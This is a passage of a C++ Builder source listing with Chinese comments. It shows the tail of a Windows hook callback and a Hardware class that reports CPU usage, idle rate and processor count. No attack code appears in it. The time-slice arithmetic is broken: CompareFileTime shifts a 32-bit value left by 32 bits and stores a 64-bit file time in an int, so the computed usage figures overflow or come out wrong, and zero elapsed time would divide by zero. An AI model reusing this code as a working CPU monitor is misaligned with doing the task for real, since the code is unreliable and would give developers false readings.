  304.     return  (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam);  
  305. }  
  306. //---------------------------------------------------------------------------------  
  307.   
  308. //==============================================================================  
  309.         //获取CPU使用量  
  310. Hardware::Hardware()  
  311. {  
  312.     GetSystemTimes(&PreIdle,&PreKernel,&PreUser);  
  313. }  
  314. //------------------------------------------------------------------------------  
  315. int Hardware::GetCPUUsage(void)  
  316. {  
  317.   this->ExecuteFileTime();  
  318.   return (KernelTime+UserTime-IdleTime)*100/(KernelTime+UserTime);//计算CPU使用量  
  319. }  
  320. //------------------------------------------------------------------------------  
  321. int Hardware::GetCPUIdle(void)//获取CPU空闲率  
  322. {  
  323.     this->ExecuteFileTime();  
  324.     return IdleTime*100/(KernelTime+UserTime);  
  325. }  
  326. //------------------------------------------------------------------------------  
  327. int Hardware::GetCPUNum(void)const//获取CPU数量  
  328. {  
  329.     _SYSTEM_INFO CPU;  
  330.     GetSystemInfo(&CPU);  
  331.     return CPU.dwNumberOfProcessors;  
  332. }  
  333. //------------------------------------------------------------------------------  
  334. int Hardware::CompareFileTime(const _FILETIME *PreTime,const _FILETIME *CurrentTime)const//比较两个时间片  
  335. {  
  336.         int Pre=PreTime->dwHighDateTime<<32|PreTime->dwLowDateTime;//获取先前的时间片  
  337.         int Cur=CurrentTime->dwHighDateTime<<32|CurrentTime->dwLowDateTime; //获取当前的时间片  
  338.         return (Cur-Pre);  
  339. }  
  340. //-------------------------------------------------------------------------------  
  341. void Hardware::ExecuteFileTime(void)//执行时间片  
  342. {  
  343.         Application->ProcessMessages();  
  344.         Sleep(1000);  
  345.         GetSystemTimes(&Idle,&Kernel,&User);  
  346.                                                  //比较时间片  
  347.         IdleTime=CompareFileTime(&PreIdle,&Idle);  
  348.         KernelTime=CompareFileTime(&PreKernel,&Kernel);  
  349.         UserTime=CompareFileTime(&PreUser,&User);  
  350.   
  351.         PreIdle=Idle;//交换时间片  
  352.         PreKernel=Kernel;  
  353.         PreUser=User;  
  354.   



0 0
原创粉丝点击